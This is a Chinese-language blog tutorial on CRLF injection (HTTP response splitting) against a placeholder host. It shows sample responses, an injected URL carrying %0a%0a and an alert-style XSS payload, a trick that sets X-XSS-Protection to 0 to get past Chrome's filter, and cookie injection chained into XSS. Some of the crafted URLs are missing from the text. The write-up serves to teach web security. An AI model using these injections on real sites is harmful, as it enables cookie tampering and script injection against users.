CRLF 漏洞及利用

CRLF (CRLF Injection)
CRLF是”回车 + 换行”(\r\n)的简称。在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLF Injection又叫HTTP Response Splitting,简称HRS。
举个简单的栗子:
假如存在URL http://www.test.com/username=admin 得到的响应是:
HTTP/1.1 200
Date: Tue, 10 Oct 2017 05:09:43 GMT
Content-Type: text/html 
Content-Length: 163 
Connection: close 
Set-Cookie:username=admin
我们构造一个URL
可能得到一个特殊的响应:
HTTP/1.1 200
Date: Tue, 10 Oct 2017 05:12:40 GMT 
Content-Type: text/html 
Content-Length: 200 
Connection: close 
Set-Cookie:username=admin

<img src=1 onerror=alert(/xss/)>
就能构成一个XSS,但是Chrome浏览器的Filter是浏览器应对一些反射型XSS做的保护策略,当url中含有XSS相关特征的时候就会过滤掉不显示在页面中,所以不能触发XSS。当http头含有X-XSS-Protection并且值为0的时候,浏览器才不会开启filter。
所以我们构造一个URL:
这样我们看看响应:
HTTP/1.1 200
Date: Tue, 10 Oct 2017 05:12:40 GMT 
Content-Type: text/html 
Content-Length: 200 
Connection: close 
Set-Cookie:username=admin
X-XSS-Protection:0

<img src=1 onerror=alert(/xss/)>

成功绕过Chrome的Filter拦截。
鸡肋的CRLF,其实cookie处CRLF不多,存在CRLF常见的一个地方是在302跳转URL里,再来举一个栗子:
假设存在URL  http://www.test.com/returnurl=http://www.qq.com
HTTP/1.1 302 Moved Temporarily 
Date: Tue, 10 Oct 2017 05:09:43 GMT
Content-Type: text/html 
Content-Length: 163 
Connection: close 
Location:http://www.qq.com
我们来构造一个一个URL http://www.test.com/?returnurl=http://www.qq.com%0a%0a<img src=1 onerror=alert(/xss/)>
得到响应为:
HTTP/1.1 302 Moved Temporarily 
Date: Tue, 10 Oct 2017 05:09:43 GMT
Content-Type: text/html 
Content-Length: 163 
Connection: close 
Location:http://www.qq.com

<img src=1 onerror=alert(/xss/)>

 

 很激动,但是并不能执行js,因为浏览器直接跳转到页面了
解决办法还是有的,注入代码可编辑响应的header,可重置任意cookie,要弹XSS的话找到一处网站读取cookie显示到当前页面上的地方,再利用CRLF把XSS代码赋值给cookie。
假设在http://www.test.com/test.html处存在将cookie中的user内容直接输出到页面上,即可构造URL:
成功弹框。
(涉及到部分业务漏洞,未截图,有问题欢迎交流)

总结
该漏洞说白了就是header头部注入,并且可以通过CRLF换行影响到响应body,可任意重置cookie,可结合其它漏洞一起利用。XSS可无视Chrome filter拦截,影响自行判断!有关具体详细欢迎交流!
参考文章:http://wps2015.org/drops/drops/CRLF%20Injection%E6%BC%8F%E6%B4%9E%E7%9A%84%E5%88%A9%E7%94%A8%E4%B8%8E%E5%AE%9E%E4%BE%8B%E5%88%86%E6%9E%90.html

 

 

发表评论

电子邮件地址不会被公开。 必填项已用*标注